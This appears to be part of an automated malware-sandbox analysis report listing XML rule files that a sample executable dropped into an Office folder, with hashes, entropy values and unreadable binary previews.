..../n....!...\Fr....OTJ/D.Y......8.o.......0!.O.......P}.....(.?.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.6945769604104015
Encrypted:	false
SSDEEP:	12:hlCafDHNcUYlb4d3o4fTIjLdIjMchHUkJc9vjryothjxUK80VGH9M2cii9a:KafDuBU4HPeMu0kS93dS0oH9pbD
MD5:	BDE98A6CA66908A32A282A7E9479B20E
SHA1:	6E84C2C67CCC4D72942D3F61BE47DA0BFD1E1A7D
SHA-256:	1EB2D354521A1C9A8F7BB8D0A407BAB8A609CBC641EBCA62D9D0D430AC251B90
SHA-512:	5DFB8CB86A5A07A5C29DA161E8161AFC612FBCCE875E2A1A2372DDC3B98B5192A4B95B648E0D58EDD7E606CA2147878DA2A842CF67FF3C18204F1A40D0135EDF
Malicious:	false
Preview:	<?xmlg...U6\|=....^.;\|..d..4Y.Y..x2c..0.$I9..%mh......7..!..e...b..zI..M.BW.>.H...z5......vs.Oc.aM..i.]...f<.q..~.0D..&k=.?..._..`.,8...e.6..U..)!..1.S..Q.^.{I.j..O..yl....dr..?.9..'VpP:.X..o^w... ...va..\|....).g.z.RT.`..iKa.?t..x':..4"._.i...jt)&oFd...x\7...h.[~.>.i5.j5da...A.rU;...4...INz+.v..4....Pt2K+Uo..\|-.{.8[.:..f.S..{}f.....=..}.FcE%.c...Iq..U.(.n..X.].1j@.Z.....+...r.Q. .U4......2[.L....6.x.....x..I/.J2e\|....36..!K,j..+.$.-.i.d..~0...qP.Cf5...d..V.K...h..G.>l....:...{.#.-I...KQ.r..y....)...k.J@^e..m.B.^......#.M....y.V..a5..].....wp.y..y..#7...X...DT.U....-N.....0.7I..=..Y.n....eg...C2.z.g.Y...2o.F2]1v.......+.T.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.701665893141773
Encrypted:	false
SSDEEP:	24:LipKHuWaPAI9fAo/er0rJyNGD9S1ww8V9pbD:mcuvAI9INr0Vpa8PJD
MD5:	B08771DC0D9BD5000A7B2C9F5BECE717
SHA1:	6D377B8E578E4E689B9DBA6D10C372736AC6C256
SHA-256:	91BCEB526F4267CEE0F3EC91616D2ECA18FBEA3E76B7EC3C4B7879D34942FC5C
SHA-512:	A8FB5B738E9935D31D1DFFB5B8995BDF2AE2FF87555F9C89092478160C262749F35263943978F8610026AF77E098F5150874C6ADDF74909D305BAAF182942598
Malicious:	false
Preview:	<?xml.`../..$..%MI.G.. }... .S.i..S.+/\|..sF,...kE...R..A....V.!.i\|a-....6u>l...q..o8$,..u+...`+..).KX..a.~.VB.........oT..s.DG>......#1}..).;.2q7Y.`8..U...7.\|..U!>p..nq.hSit$.l..{...!..Y...{A..k\|..l!.M&...nv..\|.......Y...]@.....pa.']....L....L.p.^.O<].9...u.AQ..th.^a.?......^T/.H.^.x ._.8...;tu0.0..J....}J..r..`..o.Mh=.....&v]..s...#9..mE;.....O.......16...F^ ^0...#..O>.T.....Y.<.....=.6....jq)..8.. ....l.q......7k~...w.]B....)F...\|..k.w[y5.H...?.s.......E......U}.).h.U....2I<...yW.l.h.$.-C.q..1..i4..&.8.fMPh.H.Re./........e.^.....c ST~.$^..zb..B.*Ux.zY.9....g.wxQ...qg.i.&.......I^.?.".VGU.'.Z..r.eL..../K.c....$.f-,.WK.9........U...2.8..q.3...-...V..>.T..4...p"eO.....P...U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6836913659958395
Encrypted:	false
SSDEEP:	12:qnwBRULmC4gCsC2eMHtfXkQbmABloZBfxQkfld9FXhvv6WMVLulrTp39M2cii9a:qnwBRUJbg2tf0aVuB+kfJnvq4rl39pbD
MD5:	0673A2C0343C2DB6233E958DB5F5DEB1
SHA1:	3D02039AC741F0D15E9D14372FAF63C80A4536DA
SHA-256:	8395E067F04156AEE625B8BFE1A8ACB48855747057BC96D8292D42498BAE572C
SHA-512:	1B81AAAF4352E41CB6323BD1261BDE0D51C178610169F0ACE40E6A2F31AE52FFA1B14D6D2C71491F65111AE6F18EDFE36BDC2ABADDDC7F77F62D0867DD46CBA1
Malicious:	false
Preview:	<?xml2.VR..{58.5.....7..3.H[.,T..F....%.q.....7o..U...`.c..9.:]....\.$........cX..#z. ..{G\j...H.%J.L,m.P>..^..zB..G2.Q...nvG...V\:j..s.~.....0?G..3O^....,.u..%.a..T...Kdyy..YG.>..c..;...jA4./..w....d...C.....z..E.....d... 1.GW.....p.A.g).x3.....R.G/..."C.t..:a7z..p.>P-..b.........].)&.t.v........//^.\|.Y......x....i50......b..M. 2.[.5N..I.o........f.e@&....b./Q..q ...['....g%G..^y..l......`6.RX....aIV.}..<cph.f..K.6+QCE.b...yS...DU...6p3!$.e.Jy.:.2$...zlXH.xzZ.3..{..="E~\|3.B.3......DN.n...C....I-.......'..Y2B.p......wa.........R.....f...T..fh...-^.....U^s\|..@.q..RH'q/......z..`...D.7c(*2.h.j.b$...!...F?{.6C.....u......=5...O.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.705973444947275
Encrypted:	false
SSDEEP:	24:O4UpbZOf0oqi/EHoCbjAFqpzt0FS0rqWMH9pbD:O4ULOf9rqUwf3+qdJD
MD5:	7239562164E99857080D0BFD8E5B6276
SHA1:	1DC74C52AC01B6032189C2A20277C4C902CB8DA0
SHA-256:	3F6F0B20B44F0503E2FEFDE08D670B8CF10622B0E2BCC86A08719BA9F0151144
SHA-512:	2696F8A2B19EE99DDE9183F85CDC523917F1B675CBCBCDD54B3966C388D527C5B5446921C21976E456CFB3C452AD5CC9DC213828D233E76488729C49F7C7F2AD
Malicious:	false
Preview:	<?xml....t.....%t.d..q4.n........9.Ijsc.Q.F`.I........m..w....j0.h....aF....=..uQDP..w.4...b.d`7g.....y.W1.]h..._.....>...phX.N....9.u,.?@...4_.}....%.R..BT.dU.{0~s3_'U...EO.Ds..$.....7.m.M..]k6.%..L& ..+*\.....BA....z...n...p..v[bs%p.-..P...."=...(.....n.....Fd.......y..{I2^...JFlV}Z&m..~.t.uN..-'K.....ud.M/Pa.`.bxy=.T@%.I.z@6S;..-.T.lo..#l.Syx.>..0l.{....u.......=.f.....F4..(@KI.D........1d.'0.g..............]0..........<..\|.....X..)...e{../3.k@.K...].m.\.nXE.:.r....Z.u.L.0n.......U1...Q.5.+........!..~h..@.J....a...=._.6.WDN.V.71{...w..S.:e. ..v.....Wj..G.,....[D..1..+d.~..'...0@.9.3JU..'..3.UC.....O.4..".%...'Tq.6.7N&..J.<..\.5.t...r.s.`....D....wc...\|/..y0......`.;....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.730297754963972
Encrypted:	false
SSDEEP:	12:vkQzsXnWxMKpYvxXzRM2s9+dT9KwuSDbdUyOsFB/8wrCGPcM1NLBuifukM9M2ciD:KXeXm9Fds9+dBKwuSVUyO6BVCy9XBui6
MD5:	814EF239804CDB956F11C5CB2DF8BB32
SHA1:	2766AC963AC8A191703E7D1BBF4273DDEBAC67E1
SHA-256:	D9C5312F6B2C82B7D9CBEEEB0EA8D53AE0EBE8454E6421900946B8DF43EABA91
SHA-512:	7D16B81F3D343ACAC02DF10B821E673FE77A5790D53F346BCE2F7F35F6B5C56BE5F95BB4245234E1D244623272149502FBDC155B81714723466397CC67ED30EB
Malicious:	false
Preview:	<?xml..p....E.......I;&....x..........e..&...." .H...o.."...<.$..k.u...1%-............g...F.4.....!S#Z.$s.........[8......_.d.J;B.(....^.i..q:.V\|.V..5..C....Q....[\..,..x.Lg.e....K.F..iA........B....X.....Z..]..l.I&B).x......:.b!.N3R d...h....7R..`:.=.2...dB.... ...j...I.+.3...+.c.p:....@.]..}z.tU...."`n.....\.....-g....:>:.H.....\|.......w+...FS.. 8.V}.........($M.,...t...\|.r.WwXF+...t.z.._a.@.DZB>.-.k.........7......EK}....D..g..#P...g]{...OE@d...l..p......a)k..Q.......l.....Z..N..}\H.^Y...+Q.lf.G...".........Z..a.-..E6Ho.....gg.w..\|..h.y.....B..~...\v.&.(.......!Vlz.........$q}.4.......i'..W"b....3.q...r..62 R.>.Cb:....p......TQ.s.\|i..Y..I.nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.75363510611052
Encrypted:	false
SSDEEP:	12:q2ZpZI9Ph8INj1i8XQsldpStDXYOprNjhidHPkoLUNi+b+1cXnwm/Wokn39M2ciD:VfZ6l1vAsjcdN9iVPkoLv+1XGpn39pbD
MD5:	8B526AC0CE833839F048BC39BBC99B4F
SHA1:	C5FD46B518920F0F661B736FD7338F87690ABF02
SHA-256:	3ABFDDDC5F4B6EBD8C1F63391109F6B937E271AF9D3D9FF4CA1CD26F823B6F38
SHA-512:	BBA7B527DE73D13C412D12C3004E8D041EDBE7717FCC91D09EC6D872C494C6498AC7893CEEB188972B48F018CE9F4B6C8FED7941A23A962B30D65C3B3A13BDA1
Malicious:	false
Preview:	<?xml....i...3..L...]h..>...5..E.>..vm.....s.g.~2u...}5...k_E.Y.Z../.... ....F..H <.yR.V...T....p.y4.1V. .,`S.^..S...=J Q..-Ow.....j.......d.3.^.s.K...5}....."....Ci[......k......W...J....N.F.W.p#..cBj.`.-..e...W..b.=...l4S7.a.......AY..l....Wy...`..cm....}c,P..%z...#a.k.}h;.1V......3...ag. .:mf.vO.R..A._F....g..f.U.&E\.nk.1.!.6.O.z.h...q..^t7......\|..1...M.QC.,......I....\.L..p.L...>........xT....H.<..._>w..`.r._....MH.)~1.bp..8.\..V...3....@7.Sfb4..,...K.......!9~_{.oe....u...q(.!s...Q'....t.............u..Gn.*.=y.......J..e...L9.Y.,[......)E.N%d..a..D...,.jjS-7.c ...&...HZ)X.......[F....Z..G.....oUqbE c6H..6..j?y...<H.U.X.u...q......im.u/..~.{.u........?..6W.Eg...9..i(.m..7..`DJ..F...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.732802478919355
Encrypted:	false
SSDEEP:	12:cPpzmM2/PSEfU/PBaBCt9tbP8o7reaqLuCCuV5TEPKUe5q9M2cii9a:UwcEfU/PX5U6eiyYe5q9pbD
MD5:	2E9CC3DAA7CB875BD05E562B388C50E6
SHA1:	14B8F22B81C3509CABF9048E67E6CC5C31C1C0C2
SHA-256:	3C774E7E68773E660D82BAD8C347E2C09840674C05B910574C8CD0BD9B5E4565
SHA-512:	DE9F84FDA146CBF058F9BDC4B4CAE9EAA67153749FFD8321EFEEA10C3E7B3A0957148A60C83A8D761E73C785BF66ED1214806805CA6CA77F75B1D6C35CDDABC3
Malicious:	false
Preview:	<?xml{.....H.../'....m...c..K..................+C.....(.........Z\w..Oz..I..Z....C....h.m........"..%8%..v.V.........v.........LS.++...<c...n_gY].../.+.......(.,.i.@..p...t2`5....+.h&5.o..l...0.k2.`3.msN...2.(......:.Xf.I....w...V.Y7\|L5K....y.....:.....){.{.k...U..~q..I..A.j0..... ..-.n+...,F:.o.j..:.B.....28y..o..o,......?..(...L....k..}.Sl...^B...W..e..I.j}...,. .Qg.........T6_(........\r...!.i..C........W$.....}t.......7.27.ZX....?..j;...5...2"....W.j.'i.D.J.BLO.....d.....Zy..J....u....g+.........0..>...A.fV..&.B{...?4.kD.D....vp`...z.?v..7".R.+...8.2..v'..TM..H._.."'.\|.g.`..._$.Dn.....j3...+b.........Q-.......k....bl>.~a^....Kx.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.737550259770738
Encrypted:	false
SSDEEP:	12:4M+Ry+r6pnq5jgR3B07LTmwtRsaLlVpFiuKPQGdLm/4BOnfDiWzzFIWaMJIBLMxn:B+n6452SPTHtR3FeIey/4BIV8QyM9pbD
MD5:	5ECD2465BAEFE6627DDC798FCC68294E
SHA1:	9BF30385B8BA27E38873EA2D0AE51DC0A88C32D2
SHA-256:	B7056EE13FD005846C8DE2C0860FD13B91B3A3A4B5A7E92A62A55961D7B4A0CF
SHA-512:	1D748D0C97A01ABB78DADAD2DB0322EB7E8035895D0E51EA743BEFB22EDC85FE79DF2AEBEB94D71DAB47D17E98A64CDEC911B85E22B1EB06A12632421A0EB422
Malicious:	false
Preview:	<?xml....'.r...+.c.......:.Xj,li...1t^^...D.iP;..j..........7. .5.....8.{e.W.O...(Z....H"..i.+..Y.d...."Dx.QD...6V.....1.]........6\|.<.SC.Ul....tY...Yq...E..0......B../..[v..H.i..a.%,....iX.'..q.=6...ay....0..;.M.x9.x+yo'...>.2.......p".tL...-..yID{..]5..H.....[.......@.6pe4R...\|..H...\..LJ..;..P../+I...,j.....wg...}.....}#.[..q.;...'d .>.&%.2.#yc..s...Hb..;...../.._...i...^.2.u)..-'....t..8Q.K.....A.#J.Y...8....9...7..u...G....D...&.k..=O..Y...>^.V...-...........Z0..+g.j=w>....l......$....\|z.....O....`...[.n.C.......3.]!....v.....Y..X.......+..y....3\|.y.Io..f0..zE.........;[.....\|.l...l....P.A.l.....R.6.\/...D.."%.W..8`A..E...S../i.....e.'...C...s..M...I..:...k......\|U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.724489899185658
Encrypted:	false
SSDEEP:	12:ZIcx9N2DQ7Yc6QQifSpc0vGJ0inX4QL7F/Lh8aNQyLqtOF+ZCrM9M2cii9a:20/cbpceCvL0M+ZCA9pbD
MD5:	9544FC9363C61FC40D9F29A245A88F3B
SHA1:	60BDA64A632910AE936E5B759BA12FD0C6B8E6B1
SHA-256:	F43E9A5DA714B1AFC6AAFDCA541EA0B952C64C9D05371B690EA60FA03BF6B0B2
SHA-512:	A6F1940357E2C9E0B46E08F51241616352BBA49AF37651F1FA440361FA105DF75A7848CFFD8EAC1D4F50067369C1650E4A7F9E2C56CD2529DB2314D6556B68BC
Malicious:	false
Preview:	<?xml....G....c!....n.....\|...r..;..!..HZ...=f../N.)\|.7).+.5....]..2.U.VUs.ss ...4...%..6P...f.kb...c?..w.1..B5!!{...-....(.f... ?..U...U..........?..PzDv..W.U....KL.A.p.O.'........u...._[.;.).G....>.339v.e.\"..l..9.[6.p..l...0......uTW.}..}(.kH.5.~....6.....=..".r...),..]...r..O....9...yA.g...\..o.V......../.Qm.!S. G..H..+.7k......$.LV.[.2...'...V.............C 2A2g.MI...k.Bt..>......l.7.[.W...b..aa...\|o.;.Z\....[.s.M....M..........O.No~..}H...Dz...~.5..w...&....x+.-....../[....M.$..~..yJ.xx....;...J...>..b.z>.+....^..1.....;n.Ty....dO.vFZ.[.......Q....I..>....[.5.T.Xd.R.#d......>G~j.W...7..........3.....mN..Jh....gYX/=]..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.764675018284692
Encrypted:	false
SSDEEP:	24:GD0vEM9nZX8v2F95763n69DQa9szDFLoIGukR5ok9pbD:GDqLrF9ZVboDFcIGVRu6JD
MD5:	C0EB1F5D2398B7249E3F58966D7B0850
SHA1:	298A4C4B412686CD42C6F38D4B8313F82417360B
SHA-256:	701BE406B6C4BE60E5D9CBC6BC97C793133BFE31639116EF9EF8845DA95FC880
SHA-512:	F015E1AB36D6751D9C9505FBD6556ABF7B56F005F8A4DB523EC499CE5FCCB07AD261B36D623C68667A57BB4E2C61B693016C563BD67B2630BF8C2CF6D37DA7BB
Malicious:	false
Preview:	<?xmlvv.....8.N<.m....)..&%x.(.H.=...3&,x-.....I;..\u.n....+D%......79...V......DFJ[..Z..^.{.:.c.t..S...'........nb....O..\.C........R.u!.}....Qn..!.KB..Ro....p+>...O......Tp.'#..J.YOg.........\|.X.K.......z8K.$`1...m.j{Hf....K+...~ow-.....D\...N...=.x..5=...L..........i.M.-..Iw`....m....k..I.._Z_..^U...(..TeFn......r...Rt..Qa}^kW.TM...z.s.);........$.....g.L.e4.+..+.[............,...t..8..j.......d...X\|.Z..G.......l......v8.\|1...&....6.]....^.t0L.9<.>.e}../.7.8.8..T/..'. ....,...5.......V.X....F....t..^.Rw.....Fx.SU.P2T\|.........].......9"j...Z. .VNy.<.M....X.y2}.N...Di..:0Jk.KDDS.y..5.>..PF..G(...4V.e...>.a.X....iA...)...........%..pK..L.F..{B.@...`...n_W..p<.:7...~0..l..d.A.\|.Q%}<xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.726231892444009
Encrypted:	false
SSDEEP:	12:k8KHNIaDU0gtttWT1Bu/YAT20RCS8MeZcqdmEmFESWJmv6pJL3QCfs9CxcuDU39h:ErUHbJjT20nQVHdJmv6pRs9/uDU39pbD
MD5:	952B97DB747EC553CB4B4ACC99D5A20B
SHA1:	2DA6342C0EC8A45E069BA69693B59CC19F4FC574
SHA-256:	CE72E66C382E82968D7E0E0904BD432AFBC833D2BF6A93FD982CE890450635C1
SHA-512:	33C18A941BC6C9CC129CACC653166885E28FF30F9A78CA1FCBE9DFD16A8C9F6726D4CBBBBB225FD92B74E46FE16EBD9B42F2DEC0A4AEAB4BCC5AF14B39BDD7AB
Malicious:	false
Preview:	<?xmlY.$..& ..h<.2.....XZeY....bk.. .>.oAvf@..A^.6...$..MJH.M/....V6/i.V....y..N..Z...(...\|.}....!.Yw.M.t..p.J\|......l....:..._<.N.x{.9.yO#`..,.... \`&..1..Yu,t2.5IZ...7.T..%....o..G..\.Q.......oV..<..&Nm.....^..m..#..nfM.g.x.y0....v.Q..d...2..L...I/.L..F.4........._.....kK....i..3)./.d.C2#t. ..I...v.Z./.......O~k.aF.1?.j.N.#jV._.J.{..7.4..G=+.2@...E.kY...t.~.t6....J..6..f0Zr.....5........._70....R.]7..X...W.b`.A.a..{.~z!0.:.}.D.EO...G..K.=/p.. ;./..W..G..>.......~.....A....]y...y\|c..........6..R..0.........u..al....V.`]...,..?7.hj.I....0..<5....W.....:.HR.X...t.....f.bD.cw(..=.)..z...r.uA..d%..q.....~.q..S.....F..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.708241965885508
Encrypted:	false
SSDEEP:	24:l+BWhgGPtlA88DXp0G/oidpqsFREcJ9pbD:l+BWhtPqpaCpJFRXzJD
MD5:	AB929CF3C6BD7CF5C8D6F635C92B69A8
SHA1:	72D09F72397A6995349AEE1EAA152D388061FE66
SHA-256:	A9312566C94A09DD5376DF06CB26D3F9A331BA0FCB88BE028CC28432BA5112B3
SHA-512:	792E40F5C3FBCA923662B216937C6DDE8E272D35865651B4A12CD07A2D695C4EA69BC85A0718D58A5757963A1CA3D2C948E5D9E97461B571F0A9257B3831D8FB
Malicious:	false
Preview:	<?xml.5.vA...z%...Je.n{.C.O.-k..`g........'..\3;.lJ.1/...K.Z\|..!d.up.[..&....oI.:.{..+........A..[.a:.&@...4.c\|....g....0..E..0.2....z@ZV........NQ..'..-...F."..G02....o.G\|!..3..3.5Um.K...bvS.....{...o......$.....O...f.......c.&..r.Qc...J.`S.'iN&._n..iN.u........t.9=..=m.R...f.......3w"7.1\[n{.....,UP...UzZd.u...M..N(HQ....o.1...k........HE$....E_...D..).j$i..P...saR'....S..u./:...d9v..@..J....V....t~..7h.<U...P..Z.K............\|....j2.4.J.Y.w.K......g..!..l....X\...7..eG...H.".,=.z...{.$.(.R.xT......?...IRh.~../J.h........>ol...q..g.....V..Z....,[..[.m8.....u._.'.M...............~.<{.....F.X...m.c<..z...D......qAEn....MU..<..b..$.."...Ig.D`#{<zY....o.y..qI'.d....>xpd../(#j..<HxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.558854865624701
Encrypted:	false
SSDEEP:	12:1Axr52ucwPqI1er8WJFcKDHWmcocx1m9M2cii9a:1UAuc6qme4WJ7DHW/Zm9pbD
MD5:	F0C18F31502DEFBC17DFC6148BAA92A2
SHA1:	027350529FB877CFBA4BB81E247B327715CBC0AB
SHA-256:	A9CEA6C4E718CFDE270B3B8427BAC269B71838898779A2995277D6E7EE80586A
SHA-512:	44B9407F3855DD23614F2F2E5F68290CB4D45860B4D7A301FEBE8A477D592CEA73647D7182C13824B9E52296C6E57FF0F0AA402930347B48F7FABD104C2029F8
Malicious:	false
Preview:	<?xmlL...b+[..q..B ...qCnb.j....j...3$od..M..T)#.UR=.G,.^#K............*W..r...%.....V...]SN..T....+..3.N.q..V.2.......7`6.0)..k..w..z'#_X.m.....{.@..O.Q.Y...Fg..A....U.]..O......%x.....!.u..,.1."..F...k0.j:....2.....n}"'...W(.h.c...r._.v..........`$.n..a!]...q..\|?.f_..l;....z.N4.$...a.e..h$.3.I\|.......'...(.......A..R.......(6...%{... ...p5....M.k........7..=.I....r..=YL.....1...'..Rd........+f..@N....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.905583735697715
Encrypted:	false
SSDEEP:	48:MuAkuGSOY+cd2mo/Xny5lE1WjWgwOWEhTH+RHLvQjfwmr/H6Tk9bUJEl9tLYJD:MuAkT+kXy5rjVVeRDQsmbH6GbU6l9tLK
MD5:	D326A0A0C83EF0B98B00A34A4CC2F108
SHA1:	C48D41148175E61080A8633BE20A174FD906B2C2
SHA-256:	8F3E4ACE7B9C93851FBFAD37CF4C7F78D52F600DA1CDFD974A9234200AD018ED
SHA-512:	8D28C606921913498CAEBA7CD1B914B663C319242DD496988AE5448DC6876C84CF2552283E64869560348AF7353A3C27D3350A663175B133CD1A5CD68DF2BEF9
Malicious:	false
Preview:	<?xmlL....\|kBe..Y.1M..--...g..N..YL.`.A.f..X..a........Pz...F.sM\|.6..fC:y......B..E.S...k..u%M......F."..zSYk..o....k......Xx.._.@..E.i.s[n.....q(...).z.C..........K.bJ.}.;.GWs..D..#......\|.l.l.}/..y+.U.{....a....%..cR{$.7w;g..y04......:9<...;..._.>d.U......aU..G..Z6<..;yGz....$.I.K@=,....<.N......Uv..C4@h9...I...:.......nv.;.8.i..E.."9.w..^T..6.........i...18.F.f...".j.Qh.a_.sl,..'8b...B.Z.xL.Wv.....z...-.u......`A...dM&.%.....`l5x.1.m.i... z&...M..!.d........\|.b....M],...a.D..1.L....w.........k..<f;d~&.;.J.{......{..O1G;...1Q2.v...]..].w..0.t.i...h....\|+$N..EF.v.4...0...b.m.i..$.....q....q .....R..6?......R.i.Z....O.+.Y.u@DZ....8v...8.GP..j..1.Y...{.zez.#GC.t}m~>..07.]T....B...y..Wfo.M+rC....vKL.t....7.`.....Y..(.....\|..W..1....vdre..-_.D'`.^.#}........s.A..t... J.o..@.$...P.......Y.....$\..E...?/+F[PU./...T...y...4V.X...\|...#].....\u@R.P...y.Uywlb....Bkf.W.".DN../...C...r..]..bS....o..Y.Kv...!..m.B....j..U_...`'.).OG4X..4L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.824104097442736
Encrypted:	false
SSDEEP:	24:j7ywfXCxQYwAlI42XvzPfL62/KwqrerjMNVrkk0kMRHRxonh7N6CIs83nJZ9pbD:j7yw7YHyXvzHu2/KbaPMzYk0kMlDkJ4h
MD5:	BA2859A2BB007F5EA4E429D510866F1B
SHA1:	2D0D76CCE083B625403CAA7EF0EA786F79869874
SHA-256:	F6FD432A27D35C7714CB7658DBEA1E6A566B65BD398E8CE953D6B1F68C05E5DC
SHA-512:	6967B4ABAF99F389D595AF48A8705F905B536B99AF313BB5AD0556499AF21D4A3B2F9044023807435C40D909F13FD3E03808B6650B29667CDF9061DA901F5A75
Malicious:	false
Preview:	<?xml4..}...T~1.P..e{.. FyB.K....Q.A.&9..?......1...b.nX~.om..uc>"....)).j..Ue.fD.K...J.D...`o...n....)_./.....S./hA.........6.......Q.u..4.q.......\.F..S..ct...).9.........6..-...$.j\.m.L.....J...TdPE\........./..<.q`..7.....Z......F.(,a..E..@...g+j.Tl....x.......-U.......".uD>]R....o".B&0!_..2j~..s#..........&.G\|>.....M..=..o..S1?.;o...F......x..S..'.?`..b..@6.C..K..{..:.0...=3.9..h4I..7.v.......na{j?E...aA.5MR C...}."1M.J,.Q.E...sH.=.l.`...@.y...(.rm.L.7....w.]..A.m.3L..i./...4PJ.`...RU:.R..:o.i..l7.. m8......aZ.f...C....B.......;..).SY..t.....^....W.2"..x...p..~.G.z...+....'....r......Az...T.......B..k]>5...?....6.5.-.)...P...t.m...B.-.....2.%....T...+..>.!.GV...h..T.#.^..$...}...A..f..^...)Q.'.Y&.5./..).8x=>....$6G..p....6`.3.=#..uv.2..............S.........9Du...K. .)5J.G...1s.U.XW4.5x.........7h.A........[..4g}.2."...[..B.5...D.G..........vR.}ui{.!...m.ob.WEoe._._.@0U/.y.jRJ.4dv.P.U.Tv>...~.m+.t....K.31x!I.......I...?.....@.R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7518404023092025
Encrypted:	false
SSDEEP:	24:AJipw2HHlFHuY5EyKFT4dBE6qzot2ke9OF4gKn0rcp9pbD:2itHnHL6h4dyv7kh6+cTJD
MD5:	1515C1330652849BC5EFF9C15F23B457
SHA1:	9F887B7388BA3969DED3EC1056BE7420A38E1A6D
SHA-256:	8044A1944D875549F4259683DFB69A168EE5DE8896EB44A92C136C7D6FC0B543
SHA-512:	8D6A4E86153AD69E0F464B558C1EFC0521413D44F4F49191ED31EAFE05E6831DF2CCB71FA6C631024AF8AF9E9C578478F2C61CA519AC5C90F64F5DE6E7EF4E89
Malicious:	false
